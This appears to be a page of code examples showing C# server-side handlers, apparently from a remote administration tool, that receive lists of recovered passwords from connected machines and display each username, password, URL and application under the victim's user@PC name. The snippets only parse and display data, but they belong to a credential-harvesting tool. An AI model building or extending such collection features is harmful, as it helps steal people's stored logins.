Пример #1
0
        public static void HandleGetPasswordsResponse(ClientMosaique client, GetPasswordsResponse packet)
        {
            if (client.value == null || client.value.frmPr == null)
            {
                return;
            }

            if (packet.passwords == null)
            {
                return;
            }

            string userAtPc = client.value.name;

            var lst =
                packet.passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None))
                .Select(
                    values =>
                    new RecoveredAccount
            {
                username    = values[0],
                password    = values[1],
                URL         = values[2],
                application = values[3]
            })
                .ToList();

            if (client.value != null && client.value.frmPr != null)
            {
                client.value.frmPr.AddPasswords(lst.ToArray(), userAtPc);
            }
        }
Пример #2
0
        public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet)
        {
            if (client.Value == null || client.Value.FrmPass == null)
            {
                return;
            }

            if (packet.Passwords == null)
            {
                return;
            }

            string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);

            var lst =
                packet.Passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None))
                .Select(
                    values =>
                    new RecoveredAccount
            {
                Username    = values[0],
                Password    = values[1],
                Url         = values[2],
                Application = values[3]
            })
                .ToList();

            if (client.Value != null && client.Value.FrmPass != null)
            {
                client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc);
            }
        }
        private void Execute(ISender client, GetPasswordsResponse message)
        {
            Client c = (Client)client;

            string userAtPc = $"{c.Value.Username}@{c.Value.PcName}";

            OnAccountsRecovered(message.RecoveredAccounts, userAtPc);
        }